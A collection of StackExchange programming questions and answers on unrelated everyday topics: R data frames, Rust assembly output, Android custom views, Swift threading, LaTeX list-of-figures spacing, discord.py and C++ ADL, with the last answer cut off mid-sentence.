text:
Q: Swapping the values in columns with the condition of another column in R For the following data, if  the p.2 values is greater than 0.5, I would like to swap the values of column-1(b.1.1) and column-2 b.1.2,
column-3(b.2.1) and column-4 b.2.2 , column-5(b.3.1) and column-6 b.3.2
 mydata
            b.1.1       b.1.2      b.2.1      b.2.2     b.3.1      b.3.2        p.1       p.2
    1  0.40772028  0.43064446  0.2697412  0.9191535 0.1523922  0.7629324 0.86061981 0.1393802
    2 -0.77459375  0.79860856 -0.5263932 -0.5640303 0.5131236  0.6472614 0.63494425 0.3650557
    3 -0.06088828  0.42685669 -1.0643744  0.8330836 0.1184059  0.6661079 0.07382585 0.9261742
    4  1.54204242 -0.08987067 -0.7365012  0.3762336 0.3781115 -0.7340340 0.65481949 0.3451805
    5 -0.73397310  1.34927693  0.2202689  0.2422944 1.5267535 -0.5207967 0.54425551 0.4557445

For example, in the first row,  between p.1 and p.2,   p.2 is not greater than 0.5, I am not swapping any values of this row. In the third row, p.2 is greater than 0.5, So, I would like to swap the row values of each beta pair written above.
Any help is appreciated.

A: Another option using just base without regex would be
reorderRows <- function(x, nullFrame){
  for(i in length(x)){
    if(x[i, 8] > 0.5)x = x[c(2,1,4,3,6,5,7,8)]
    nullFrame <- rbind(nullFrame, x)
  }
  return(nullFrame)
}

Applied:
dat <- data.frame(matrix(rnorm(80), ncol = 8))
colnames(dat) <- c("b.1.1", "b.1.2", "b.2.1", "b.2.2",
                   "b.3.1", "b.3.2", "p.1", "p.2")

emptyFrame <- NULL
dat2 <- reorderRows(dat, emptyFrame)

It is probably a lot slower than the previous answer, but for a small dataset may be more easily modifiable

A: Here is an option. Create an index to subset the columns that starts with 'b' ('i1'), and another index to subset the rows ('i2').  Then, split the dataset into a list of datasets based on the similarity of column names after subsetting the rows ('i2'), loop through the list, reverse the elements, cbind the list of data.frames and update that to the original dataset rows/columns
i1 <-  startsWith(names(mydata), "b")
i2 <- mydata$p.2 > 0.5
mydata[i2, i1] <- do.call(cbind,
            lapply(split.default(mydata[i2, i1, drop = FALSE],
         sub("\\.\\d+$", "", names(mydata)[i1])), rev))
mydata
#       b.1.1       b.1.2      b.2.1      b.2.2     b.3.1      b.3.2        p.1       p.2
#1  0.4077203  0.43064446  0.2697412  0.9191535 0.1523922  0.7629324 0.86061981 0.1393802
#2 -0.7745937  0.79860856 -0.5263932 -0.5640303 0.5131236  0.6472614 0.63494425 0.3650557
#3  0.4268567 -0.06088828  0.8330836 -1.0643744 0.6661079  0.1184059 0.07382585 0.9261742
#4  1.5420424 -0.08987067 -0.7365012  0.3762336 0.3781115 -0.7340340 0.65481949 0.3451805
#5 -0.7339731  1.34927693  0.2202689  0.2422944 1.5267535 -0.5207967 0.54425551 0.4557445

Another option is tidyverse, where we convert into 'long' format, do the transformation in that form, and reshape back to 'wide' format
library(dplyr)
library(tidyr)
library(stringr)
library(tibble)
mydata %>%
   rownames_to_column('rn') %>%
   pivot_longer(cols = -c(rn, p.1, p.2)) %>%
   group_by(rn, grp = str_remove(name, "\\.\\d+$")) %>%
   mutate(value = case_when(p.2 > 0.5 ~ rev(value), TRUE ~ value)) %>%
   ungroup %>%
   select(-grp) %>%
   pivot_wider(names_from = name, values_from = value) %>%
   select(names(mydata))
# A tibble: 5 x 8
#   b.1.1   b.1.2  b.2.1  b.2.2 b.3.1  b.3.2    p.1   p.2
#   <dbl>   <dbl>  <dbl>  <dbl> <dbl>  <dbl>  <dbl> <dbl>
#1  0.408  0.431   0.270  0.919 0.152  0.763 0.861  0.139
#2 -0.775  0.799  -0.526 -0.564 0.513  0.647 0.635  0.365
#3  0.427 -0.0609  0.833 -1.06  0.666  0.118 0.0738 0.926
#4  1.54  -0.0899 -0.737  0.376 0.378 -0.734 0.655  0.345
#5 -0.734  1.35    0.220  0.242 1.53  -0.521 0.544  0.456

data
mydata <- structure(list(b.1.1 = c(0.40772028, -0.77459375, -0.06088828,
1.54204242, -0.7339731), b.1.2 = c(0.43064446, 0.79860856, 0.42685669,
-0.08987067, 1.34927693), b.2.1 = c(0.2697412, -0.5263932, -1.0643744,
-0.7365012, 0.2202689), b.2.2 = c(0.9191535, -0.5640303, 0.8330836,
0.3762336, 0.2422944), b.3.1 = c(0.1523922, 0.5131236, 0.1184059,
0.3781115, 1.5267535), b.3.2 = c(0.7629324, 0.6472614, 0.6661079,
-0.734034, -0.5207967), p.1 = c(0.86061981, 0.63494425, 0.07382585,
0.65481949, 0.54425551), p.2 = c(0.1393802, 0.3650557, 0.9261742,
0.3451805, 0.4557445)), class = "data.frame", row.names = c("1",
"2", "3", "4", "5"))


text:
Q: How to have cargo/rustc generate concise assembly language for Rust code? I find godbolt very useful for comparing how different implementations of the same algorithm result in different assembly code. For example:
pub fn range_north(sq: u8) -> impl Iterator<Item = u8> {
    (sq..=(sq | 0b111000)).step_by(8)
}

pub fn range_north2(sq: u8) -> impl Iterator<Item = u8> {
    let (rk, fl) = (sq / 8, sq % 8);
    let n = 8 - rk;
    (sq..=63).step_by(8).take(n as usize)
}

gives
example::range_north:
        mov     rax, rdi
        movzx   ecx, sil
        or      sil, 56
        movzx   edx, sil
        shl     edx, 8
        or      edx, ecx
        mov     word ptr [rdi + 8], dx
        mov     word ptr [rdi + 10], 256
        mov     qword ptr [rdi], 7
        ret

example::range_north2:
        mov     rax, rdi
        movzx   ecx, sil
        shr     sil, 3
        mov     dl, 8
        sub     dl, sil
        or      ecx, 16128
        movzx   edx, dl
        mov     qword ptr [rdi], 7
        mov     word ptr [rdi + 8], cx
        mov     word ptr [rdi + 10], 256
        mov     qword ptr [rdi + 16], rdx
        ret

Nothing more. How can I produce this output offline with Rust's command line tools without the boilerplate code and other pieces that don't help me compare generated assembly, like the above?

A: cargo rustc --release -- --emit asm -C "llvm-args=-x86-asm-syntax=intel" will produce optimized GAS with Intel syntax.
You can also use cargo asm.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Github account with multiple email: Web-based activity how to So, I am trying to find whether it is possible to configure more emails and not having a default public one to drive web-based activity but rather choose each time a web operation is done.
My problem is that I use the same account for personal (so far unfortunately few) projects and for companies one, and I would like to differentiate web-activity as I can do for local activity via .gitconfig.
Any idea whether it is possible to do something like that and in case how?
Here my .gitconfig file
$ git config --global -l
user.name=Bla Bla
user.email=personal.or.company@email

Here my web configuration:
personal@email
company@email Primary Public

The 'Public' email is always used for web-based activity and the closest I can get to my goal is to flag Keep my email address private (it may work but it is not quite the same).

A: Since May 2018, you now have:

Choose the author email for web-based commits
When making changes to files with the web-based editor, you can now choose which verified email with which to author the commit (previously you could only use your primary email).
If you have email privacy enabled, the commit will be authored with your private "noreply" email.


text:
Q: Moving files into different folders/directories based on their name I have a directory or folder consisting of hundreds of files. They are named and arranged alphabatically. I want to move the files into directories or folders according to the first character of their name (i.e. files starting with a into one folder, files starting with r into another folder, etc).
Is there a way to do it without using CPAN modules?

A: Are the files all in that one folder, or are they in subfolders? If they are all in a single folder, you can use opendir to access the directory, and then readdir to read the file names and copy them elsewhere (using File::Copy module's move or copy function.
use strict;
use warnings;
use autodie;
use File::Copy;   #Gives you access to the "move" command

use constant {
    FROM_DIR => "the.directory.you.want.to.read",
    TO_DIR   => "the.directory.you want.to.move.the.files.to",
};

#Opens FROM_DIR, ao I can read from it
opendir my $dir, FROM_DIR;

# Loopa through the directory
while (my $file = readdir $dir) {
    next if ($file eq "." or $file eq "..");
    my $from = FROM_DIR . "/" . "$file";
    move $from, TO_DIR;
}

This doesn't do exactly what you want, but it should give you the idea. Basically, I'm using opendir and readdir to read the files in the directory and I'm using move to move them to another directory.
I used the File::Copy module, but this is included in all Perl distributions, so it's not a CPAN module that must be installed.

A: Use glob(), or the built-in File::Find to build a list of files for each starting letter.


text:
Q: add div to map leaflet reactjs Good morning
I would like to add a block div on my leaflet card  with text in the div Reactjs.
but it does not show on the map. It is displayed under the map, I tried with z-index but I did not succeed
anyone have a solution please?

         <MapContainer center={center} zoom={zoom} style={{ height: "90vh", opacity: 'O,33' }}>
            <TileLayer attribution='&copy OpenStreetMap contributors'
               url="https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png" />
            <Markers marker={mark} />

Test

         </MapContainer >

);```

A: You can use z-index, however you will also have to set position to something other than default static. e.g. position: absolute
I would recommend to look into the built in leaflet-control classes. I use a custom controller to add stuff above the map:
import L from "leaflet";
import React, { useEffect, useRef } from "react";

const ControlClasses = {
  bottomleft: "leaflet-bottom leaflet-left",
  bottomright: "leaflet-bottom leaflet-right",
  topleft: "leaflet-top leaflet-left",
  topright: "leaflet-top leaflet-right",
};

type ControlPosition = keyof typeof ControlClasses;
export interface LeafLetControlProps {
  position?: ControlPosition;
  children?: React.ReactNode;
  offset?: [number, number];
}

const LeafletControl: React.FC<LeafLetControlProps> = ({
  position,
  children,
  offset = [0, 0],
}) => {
  const divRef = useRef(null);

  useEffect(() => {
    if (divRef.current) {
      L.DomEvent.disableClickPropagation(divRef.current);
      L.DomEvent.disableScrollPropagation(divRef.current);
    }
  });

  return (
    // @ts-ignore

{children}

  );
};

export default LeafletControl;


text:
Q: 'No thread-bound request found' in filter under Grails 2.0 I'm developing an Grails plugin, that have filter, with code like:
void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, javax.servlet.FilterChain chain) {

    HttpServletRequest request = servletRequest
    HttpServletResponse response = servletResponse
    String url = request.requestURI.substring(request.contextPath.length())
    logger.debug("Processing url: $url")
    chain.doFilter(servletRequest, servletResponse)
}

pretty standard Java EE filter, that extends spring's GenericFilterBean. And it's registered by SpringSecurityUtils.registerFilter %NAME%, %POS% (it's spring security extension)
After upgrading to Grails 2.0 I start getting some strange errors, on chain.doFilter() line:
No thread-bound request found: Are you referring to request attributes outside of
an actual web request, or processing a request outside of the originally receiving
thread? If you are actually operating within a web request and still receive this
message, your code is probably running outside of DispatcherServlet/DispatcherPortlet:
In this case, use RequestContextListener or RequestContextFilter to expose the
current request.

Notice that everything fine at String url = request.requestURI..... line. And displayed url is valid.
The problem that this error unpredictable :( sometimes filter is working fine, sometimes throws exception, and I can't figure out what the problem, and what I must do to fix it. Probably it depends on order of bean's initialization, but i'm not sure

Update: found that it's because of resources plugin. Error gone after removing this plugin. Not sure that it's a best way.

A: in Grails 2.0 the webxml plugin is installed in new projects by default. It controls the order of filters in the web.xml. http://grails.org/plugin/webxml


text:
Q: give space between text and underline with customview android
I want an underline below OPTING like below, but when i create this will the help of customview, underline appears just below opting but i want some space between text and line like image
I had created a Custom view, in which a word will searched in a string if that is found, then that corresponding text will be underlined but the only thing i want is to give some space between underline and text,
My class is as follows,
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Rect;
import android.support.v7.widget.AppCompatTextView;
import android.text.Layout;
import android.util.AttributeSet;
import android.view.Display;
import android.view.WindowManager;
import android.widget.TextView;

public class UnderLine  extends AppCompatTextView {

private Rect mRect;
private Paint mPaint;
private int mColor;
private float density;
private float mStrokeWidth;
private String stringSeach;

public UnderLine(Context context) {
    this(context, null, 0);
}

public UnderLine(Context context, AttributeSet attrs) {
    this(context, attrs, 0);
}

public UnderLine(Context context, AttributeSet attrs, int defStyleAttr) {
    super(context, attrs, defStyleAttr);
    init(context, attrs, defStyleAttr);
}

private void init(Context context, AttributeSet attributeSet, int defStyle) {

    density = context.getResources().getDisplayMetrics().density;

    TypedArray typedArray = context.obtainStyledAttributes(attributeSet, R.styleable.UnderLine, defStyle, 0);
    mColor = typedArray.getColor(R.styleable.UnderLine_underlineColorr, 0xFFFF0000);
    stringSeach = typedArray.getString(R.styleable.UnderLine_underlineTextt);
    mStrokeWidth = typedArray.getDimension(R.styleable.UnderLine_underlineWidthh, density * 2);
    typedArray.recycle();

    mRect = new Rect();
    mPaint = new Paint();
    mPaint.setStyle(Paint.Style.STROKE);
    mPaint.setColor(mColor); //line mColor
    mPaint.setStrokeWidth(mStrokeWidth);
}

public int getUnderLineColor() {
    return mColor;
}

public void setUnderLineColor(int mColor) {
    this.mColor = mColor;
    invalidate();
}

public float getUnderlineWidth() {
    return mStrokeWidth;
}

public void setUnderlineWidth(float mStrokeWidth) {
    this.mStrokeWidth = mStrokeWidth;
    invalidate();
}

@Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
    super.onMeasure(widthMeasureSpec, heightMeasureSpec);
    setMeasuredDimension( getMeasuredWidth(), getMeasuredHeight()+110);
}

@Override
protected void onDraw(Canvas canvas) {
    TextView parentTextView = this;
    Rect parentTextViewRect = new Rect();

    String targetWord = stringSeach.toLowerCase();
    int startOffsetOfClickedText = this.getText().toString().toLowerCase().indexOf(targetWord);
    int endOffsetOfClickedText = startOffsetOfClickedText + targetWord.length();

    // Initialize values for the computing of clickedText position
    Layout textViewLayout = parentTextView.getLayout();

    double startXCoordinatesOfClickedText = textViewLayout.getPrimaryHorizontal((int)startOffsetOfClickedText);
    double endXCoordinatesOfClickedText = textViewLayout.getPrimaryHorizontal((int)endOffsetOfClickedText);

    // Get the rectangle of the clicked text
    int currentLineStartOffset = textViewLayout.getLineForOffset((int)startOffsetOfClickedText);
    int currentLineEndOffset = textViewLayout.getLineForOffset((int)endOffsetOfClickedText);
    boolean keywordIsInMultiLine = currentLineStartOffset != currentLineEndOffset;
    textViewLayout.getLineBounds(currentLineStartOffset, parentTextViewRect);

    // Update the rectangle position to his real position on screen
    int[] parentTextViewLocation = {0,0};
    parentTextView.getLocationOnScreen(parentTextViewLocation);

    double parentTextViewTopAndBottomOffset = (
            //parentTextViewLocation[1] -
            parentTextView.getScrollY() +
                    parentTextView.getCompoundPaddingTop()
    );

    parentTextViewRect.top += parentTextViewTopAndBottomOffset;
    parentTextViewRect.bottom += parentTextViewTopAndBottomOffset;

    // In the case of multi line text, we have to choose what rectangle take
    if (keywordIsInMultiLine){

        WindowManager wm = (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
        Display display = wm.getDefaultDisplay();

        int screenHeight = display.getHeight();
        int dyTop = parentTextViewRect.top;
        int dyBottom = screenHeight - parentTextViewRect.bottom;
        boolean onTop = dyTop > dyBottom;

        if (onTop){
            endXCoordinatesOfClickedText = textViewLayout.getLineRight(currentLineStartOffset);
        }
        else{
            parentTextViewRect = new Rect();
            textViewLayout.getLineBounds(currentLineEndOffset, parentTextViewRect);
            parentTextViewRect.top += parentTextViewTopAndBottomOffset;
            parentTextViewRect.bottom += parentTextViewTopAndBottomOffset;
            startXCoordinatesOfClickedText = textViewLayout.getLineLeft(currentLineEndOffset);
        }

    }

    parentTextViewRect.left += (
            parentTextViewLocation[0] +
                    startXCoordinatesOfClickedText +
                    parentTextView.getCompoundPaddingLeft() -
                    parentTextView.getScrollX()
    );
    parentTextViewRect.right = (int) (
            parentTextViewRect.left +
                    endXCoordinatesOfClickedText -
                    startXCoordinatesOfClickedText
    );

   canvas.drawLine(parentTextViewRect.left,parentTextViewRect.bottom+mStrokeWidth, parentTextViewRect.right,
            parentTextViewRect.bottom+mStrokeWidth, mPaint);
    super.onDraw(canvas);
}

}
attrs.xml is as follows,
  <declare-styleable name="UnderLine" >
    <attr name="underlineWidthh" format="dimension" />
    <attr name="underlineColorr" format="color" />
    <attr name="underlineTextt" format="string" />
</declare-styleable>

Sample layout as follows,
    <UnderLine
    style="@style/textView"
    android:gravity="top|center"
    app:underlineColorr="@color/signup_bottom_darkWhite"
    app:underlineWidthh="2dp"
    app:underlineTextt="OPTING"
    android:text="ON FREE PARKING + DISCOUNTED RATES \n BY OPTING IN"/>

I am a beginner with customview, and i had created this with the help of some answers on stackoverflow. Please don't suggest any other way to do this.
Anyhelp will be greatly appreciated.

A: I had developed my own view, as follows,
package com.example.reprator.underlinetextview;

import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Rect;
import android.support.v7.widget.AppCompatTextView;
import android.text.Layout;
import android.util.AttributeSet;

public class UnderlinedTextView extends AppCompatTextView {

private Rect mRect;
private Paint mPaint;
private int mColor;
private float mStrokeWidth;
private float mMarginTop;
private boolean isAllSelected;
private int lineNumber;
private int selectTextEachLine;

public UnderlinedTextView(Context context) {
    this(context, null, 0);
}

public UnderlinedTextView(Context context, AttributeSet attrs) {
    this(context, attrs, 0);
}

public UnderlinedTextView(Context context, AttributeSet attrs, int defStyleAttr) {
    super(context, attrs, defStyleAttr);
    init(context, attrs, defStyleAttr);
}

private void init(Context context, AttributeSet attributeSet, int defStyle) {

    float density = context.getResources().getDisplayMetrics().density;

    TypedArray typedArray = context.obtainStyledAttributes(attributeSet, R.styleable.UnderlinedTextView, defStyle, 0);
    mColor = typedArray.getColor(R.styleable.UnderlinedTextView_underlineColor, 0xFFFF0000);
    mStrokeWidth = typedArray.getDimension(R.styleable.UnderlinedTextView_underlineWidth, density * 2);
    mMarginTop = typedArray.getDimension(R.styleable.UnderlinedTextView_underlineMarginTop, density * 2);
    isAllSelected = typedArray.getBoolean(R.styleable.UnderlinedTextView_underlineIsAll, false);
    lineNumber = typedArray.getInteger(R.styleable.UnderlinedTextView_underlineNoLine, 1);
    selectTextEachLine = typedArray.getInteger(R.styleable.UnderlinedTextView_underlineTextEachLine, 3);
    typedArray.recycle();

    mRect = new Rect();
    mPaint = new Paint();
    mPaint.setStyle(Paint.Style.STROKE);
    mPaint.setColor(mColor); //line mColor
    mPaint.setStrokeWidth(mStrokeWidth);
}

public int getUnderLineColor() {
    return mColor;
}

public void setUnderLineColor(int mColor) {
    this.mColor = mColor;
    invalidate();
}

public float getUnderlineWidth() {
    return mStrokeWidth;
}

public void setUnderlineWidth(float mStrokeWidth) {
    this.mStrokeWidth = mStrokeWidth;
    invalidate();
}

@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
    super.onMeasure(widthMeasureSpec, heightMeasureSpec);

    int h = (int) (getMeasuredHeight() + mMarginTop);
    setMeasuredDimension(widthMeasureSpec, h);
}

@Override
protected void onDraw(Canvas canvas) {

    final Layout layout = getLayout();
    float x_start, x_stop;
    int firstCharInLine, lastCharInLine;

    int limit = isAllSelected ? getLineCount() : lineNumber;
    for (int i = 0; i < limit; i++) {
        int baseline = getLineBounds(i, mRect);
        firstCharInLine = layout.getLineStart(i);
        lastCharInLine = layout.getLineEnd(i);

        int textHighlight = isAllSelected ? lastCharInLine - 1 : (firstCharInLine + selectTextEachLine);
        x_start = layout.getPrimaryHorizontal(firstCharInLine);
        x_stop = layout.getPrimaryHorizontal(textHighlight);

        float y = baseline + mStrokeWidth + mMarginTop;
        canvas.drawLine(x_start, y, x_stop, y, mPaint);
    }

    super.onDraw(canvas);
}

}
and my attars.xml are as follows,
 <declare-styleable name="UnderlinedTextView">
    <attr name="underlineWidth" format="dimension" />
    <attr name="underlineMarginTop" format="dimension" />
    <attr name="underlineColor" format="color" />
    <attr name="underlineText" format="string" />
    <attr name="underlineIsAll" format="boolean" />
    <attr name="underlineNoLine" format="integer" />
    <attr name="underlineTextEachLine" format="integer" />
</declare-styleable>


text:
Q: Alamofire completionHandler updating ui works only when function finishes I use Alamofire 4.4. I update UI inside completionHandler of Alamofire but it doesn't get updated until function finishes. I use sleep(10) for testing. UI updates only after 10 seconds. But I need it to update at the beginning.
Shortly. I perform some operations in completionHandler and it takes some time. About 10 seconds. I want to show percentage of completion of process. But UI doesn't get updated. For example: At the beginning of the process label renames to "Begin" at the center "Processing" at the "Finish". But the label changes to "Processing" only at the end.
Here is my code:
This is my ViewController's viewDidLoad() function:
view.backgroundColor = UIColor.white

        label.frame = CGRect(x: 50, y: 50, width: 100, height: 20)
        label.text = "Begin"
        label.textColor = UIColor.black

        view.addSubview(label)

        Alamofire.request("http://google.com").responseData(completionHandler: {
            res in

            if let stCode = res.response?.statusCode {
                if stCode == 200 {
                    self.label.text = "Rename"

                    print("Rename")

                    // Here I do some processing. put sleep for test
                    sleep(10)

                    print("Should be modified 10 seconds earlier")
                }
            }
        })

My label's text changes to "Rename" only after 10 seconds. I need it to change at the beginning.
My log:
Rename (I need it to change here.)
Should be modified 10 seconds earlier (Here label changes after 10 seconds)

A: As per discussion in comments
when stCode == 200 then execute your very next line change the label text then use this
DispatchQueue.global(qos: .background).async {
   ///perform your heavy task here(your 10 sec task)
  ///Upon completion of your task then in following queue
    DispatchQueue.main.async {
        ///change your label text here of completion
    }
}

A: UI operations must be performed on main thread, so use
DispatchQueue.main.async {
    self.label.text = "Rename"
}


text:
Q: Excel 2007 VBA, TimeSerial Function I'm working on a VBA script for Excel 2007.
Why does TimeSerial(0, -10, 0) return 0:10:00?
I use TimeSerial to substract minutes from a time, so it works in all cases. For example TimeSerial(23,-10,0) correctly returns 22:50.
But when my time is TimeSerial(0, -10, 0), shouldn't it return 23:50:00?

A: TimeSerial Function returns a Variant/Date value, which in the case of TimeSerial(0, -10, 0) is negative
The result of TimeSerial(0, -10, 0) as shown in the Local Window or when printed in the Immediate Window looks positive same as TimeSerial(0, 10, 0) (try in the immediate window):
debug.Print "TimeSerial(0, -10, 0) = " TimeSerial(0, -10, 0) vblf _
    "TimeSerial(0,  10, 0) = " TimeSerial(0, 10, 0)
However a simple test using IF confirms:
a)  They are different (try in the immediate window):
debug.Print TimeSerial(0, -10, 0) = TimeSerial(0, 10, 0)
b)  The negative value of TimeSerial(0, -10, 0) (try in the immediate window):
debug.Print TimeSerial(0, -10, 0)  < 0
To obtain 23:50:00 could use:
debug.Print TimeSerial(24, -10, 0) or
debug.Print TimeSerial(24, -9, -60) among others
For additional information see:
TimeSerial Function and
Data Type Summary and


text:
Q: Spacing between number and short caption in List of Figures in tuftebook I am writing a large book in tuftebook (TeXShop) and there is inadequate spacing between the numbering and short captions in the List of Figures:

I have seen several questions and solutions to this problem, such as:
\usepackage{tocloft}
\setlength{\cftfignumwidth}{3em}

but all involve changing the overall style and layout of the List of Figures (and other elements in the Table of Contents).  I'd like to retain the tuftebook design and merely increase the spacing between the automatic numbering and the short captions.  Surely, I need merely include a line such as:
\setlength{....}{1cm}

I just don't know what variable name to include.
(I also have this problem for the basic Table of Contents.)

Suggestions?

A: It is necessary to increase the space allocated to section numbers in the ToC and to figure numbers in the LoF.

\documentclass{tufte-book}

\setcounter{secnumdepth}{1}
\setcounter{tocdepth}{1}

%***************************************  added
\titlecontents{section}%
    [0em] % distance from left margin
    {\vspace{0\baselineskip}\begin{fullwidth}\Large\rmfamily\itshape} % above ()
    {\hspace*{3em}\contentslabel{3em}} % before w/label
    {\hspace*{3em}} % before w/o label
    {\rmfamily\upshape\qquad\thecontentspage} % filler + page (leaders and page num)
    [\end{fullwidth}] % after

\usepackage{etoolbox}
\makeatletter
\patchcmd{\@tufte@lof@line}{2.0em}{3.0em}{}{} % more width to the number
\makeatother
%***************************************

\begin{document}

\tableofcontents
\listoffigures

\mainmatter

\setcounter{chapter}{10}
\chapter{Eleven}
\setcounter{section}{10}
\section{Section Eleven}
\section{Section Twelve}

\setcounter{figure}{19}
\begin{figure}
    \caption{XX}
\end{figure}

\end{document}


text:
Q: discord.py: How to get the user who invited/added the bot to his server? [solution] I want to send a DM to the user, who invited/added the bot to his server.
I noticed that it's displayed in the audit log. Can I fetch that and get the user or is there a easier way to achieve that?
Example:
bot = commands.Bot()

@bot.event
async def on_guild(guild, inviter):
    await inviter.send("Thanks for adding the bot to your server!")

A: With discord.py 2.0 you can get the BotIntegration of a server and with that the user who invited the bot.
Example
from discord.ext import commands

bot = commands.Bot()

@bot.event
async def on_guild_join(guild):
    # get all server integrations
    integrations = await guild.integrations()

    for integration in integrations:
        if isinstance(integration, discord.BotIntegration):
            if integration.application.user.name == bot.user.name:
                bot_inviter = integration.user# returns a discord.User object

                # send message to the inviter to say thank you
                await bot_inviter.send("Thank you for inviting my bot!!")
                break

Note: guild.integrations() requires the Manage Server (manage_guild) permission.

References:

*

*Guild.integrations

*discord.BotIntegration

A: Discord.py doesn't support Bot Integrations yet. Please check this Pull Request. Once it is merged, you can do integration.user to get the user who invited the bot.

A: In discord.py 1.7.3 and lower does not have any actual method. However you can instead fetch the Audit Log Entry (documentation) and find out who invited the Bot from there.


text:
Q: flip-flop, latch basic concept i hope someone could help me with this.
I can't get the point of the utility of flip-flops, the point of saving the state. If we want to save the previous state, why don't we simple maintain the inputs as they are. In general why is not this way : input=output using to not gates for example.
Or are flip-flops used in memory storage because of the fact that after giving the output, the inputs can be put to zero and use them for other purpose and still maintain the output?

A: The utility of flip flop is to store state and make it stable.
For your statement about making "input = output", you have to understand that every change in the input line is not necessarily the input for the flip flop. And another thing is that output can be some operation of previous output and present input then you need previous output which you should store in somewhere, for which flip flop is used (and register is a group of flip flops).
In flip flop, we use clock to synchronize the operation. Depending upon the types of flip flop i.e. edge-trigger or level-trigger, the input in the flip flop affects its output. For example: for level-trigger flip flop, the input in the flip flop affects its output only when the clock is high.
So, for your question that "inputs can be put to zeros to maintain the outputs", you are right that it helps to maintain the outputs but that is not only the case to maintain the outputs. When the clock is low, change in inputs does not affect the output.

A: Flip Flops are used to store 1 bit of information. They are commonly used in the registers that store values to be operated on (32/64 bit values). Flip flops usually have an enable. When the enable is turned off, the flip flop maintains state (i.e. stores the 1 bit of information). When the enable is turned on, then on the next clock edge (positive or negative), the flip flop's output will change, based on what type of flip flop it is, and what the inputs are.
For example, in a T (toggle) Flip flop, the output state is flipped (1 to 0 or 0 to 1) whenever T = 1 and Enable = 1. So, as long as Enable =0, whatever the value of T is, the output will not change, and the flip flop will continue to maintain the same state. When enable is changed to 1, and if T = 1, then at the next clock edge, the flip flop will change state (1 to 0 or o to 1).
A more practical example involving registers. Lets say we have a 32-bit register. Each flip flop stores 1 bit, so we have 32 flip flops. When a 32-bit value is loaded into the register, the flip flop enables are turned on, and the flip flop states are set according to the input. And then the enables will be turned off, and the flip flops will maintain state until the register is loaded with some other value.

A: This is the correct answer (quoting from the question):

... because of the fact that after giving the output, the inputs can be put to zeros and still maintain the output

More to the point, FFs that are more complex than the basic SR FF you encounter in the first class on FFs have an enable input that tells the FF when the data inputs should be looked at, so that if either input changes to one when the enable is off, the output remains unchanged.
This makes it possible to retain values in the output regardless of the value of the input.


text:
Q: Unexpected trouble comparing numbers I'm writing a helper method that adds a class to an element depending on whether two numbers are equal to eachother.  My code is as follows:
<% for note in @company.convertible_notes.each %>
    <% if note.id %>
        <li class="tab <%= note_nav(params, note.id) %>"><%= link_to "#{note.security_series} #{note.security_class} Note", convertible_note_convertible_notees_path(note) %>

    <% end %>
<% end %>

note_nav calls the following helper:
def note_nav(params, note)
    "active" if params[:controller]=="convertible_notees" && note.to_s==params[:converible_note_id].to_s
end

Now the surprising thing is that I cannot get the expression note.to_s==params[:converible_note_id].to_s to register true.  Even when I know the two numbers being compared are both "1".  I checked it using my log:
logger.debug "are they equal? #{note.to_s==params[:converible_note_id].to_s} note.id is #{note} note params are #{params[:convertible_note_id]}"

Which yields the following log entry:

are they equal? false note.id is 1 note params are 1

I would guess that they're two different types but given that I've converted both of them to_s, I don't know how that would be an issue.  I've used this exact same technique on a few combinations of other models and have been completely error free.  Any idea as to what might be going on?
Thanks in advance

A: Look at your test
"are they equal? #{note.to_s==params[:converible_note_id].to_s} note.id is #{note} note params are #{params[:convertible_note_id].to_s}"

:converible_note_id and :convertible_note_id are other keys, a type error

A: You could also get that output if one of the variables contains non-printing characters:
note = "1\000"

params = {
  convertible_note_id: 1
}

puts "are they equal? #{note.to_s==params[:convertible_note_id].to_s}"
puts "note.id is #{note} note params are #{params[:convertible_note_id]}"

--output:--
are they equal? false
note.id is 1 note params are 1

To see what's really in a string, you should always use inspect():
p note.to_s, params[:convertible_note_id].to_s

--output:--
"1\u0000"
"1"


text:
Q: namespace, class member ADL conflict #include <iostream>

namespace outside {
  struct A {
    int outer = 42;

    friend void print(A const& a, std::ostream& os)
    { os << "outside::A " << a.outer << '\n'; }
  };
  namespace inside {
    struct A : outside::A {
      int inner = 24;
      void print(std::ostream& os) { } // Added for extra difficulty
      friend void print(A const& a, std::ostream& os) {
        // outside::A::print(a, os); // <- does not compile
        os << " inside::A " << a.inner << '\n';
      }
    };
  } // inside
} // outside

int main(int argc, char *argv[]) {
  outside::A a_outside;
  outside::inside::A a_inside;

  print(a_outside, std::cout);
  print(a_inside, std::cout);
}

Is there a way to qualify the print function so that both base and derived members are printed? I could move both the friend functions to their closest enclosing namespaces:
#include <iostream>

namespace outside {
  struct A { int outer = 42; };
  void print(A const& a, std::ostream& os)
  { os << "outside::A " << a.outer << '\n'; }

  namespace inside {
    struct A : outside::A {
      void print(std::ostream& os) { } // Added for extra difficulty
      int inner = 24;
    };
    void print(A const& a, std::ostream& os) {

      outside::print(a, os); // <- works
      os << " inside::A " << a.inner << '\n';
    }
  } // inside
} // outside

int main(int argc, char *argv[]) {
  outside::A a_outside;
  outside::inside::A a_inside;

  print(a_outside, std::cout);
  print(a_inside, std::cout);
}

This works, here's the result:
outside::A 42
 outside::A 42
  inside::A 24
Can the same be achieved with the friend functions though? Maybe using using?
EDIT: inside::A::print(std::ostream&) defeats the static cast suggest below, https://stackoverflow.com/a/22585103/710408. Any other options?

A: I find possible solution:
friend void print(A const& a, std::ostream& os) {
    print(static_cast<const outside::A&>(a), os);
    os << " inside::A " << a.inner << '\n';
}

Some info why this dont work: https://stackoverflow.com/a/382077/1938348
Conclusion is simple when you define friend function in class body its invisible unless you use ADL.
To made it work as you excepted you need change place of declaration:
namespace outside {
  struct A {
    int outer = 42;

    friend void print(A const& a, std::ostream& os);
  };
  void print(A const& a, std::ostream& os) {
    os << "outside::A " << a.outer << '\n';
  }
  namespace inside {
    struct A : outside::A {
      int inner = 24;

      friend void print(A const& a, std::ostream& os);
    };
    void print(A const& a, std::ostream& os) {
      outside::print(a, os);
      os << " inside::A " << a.inner << '\n';
    }
  } // inside
} // outside

A: Do you mean:
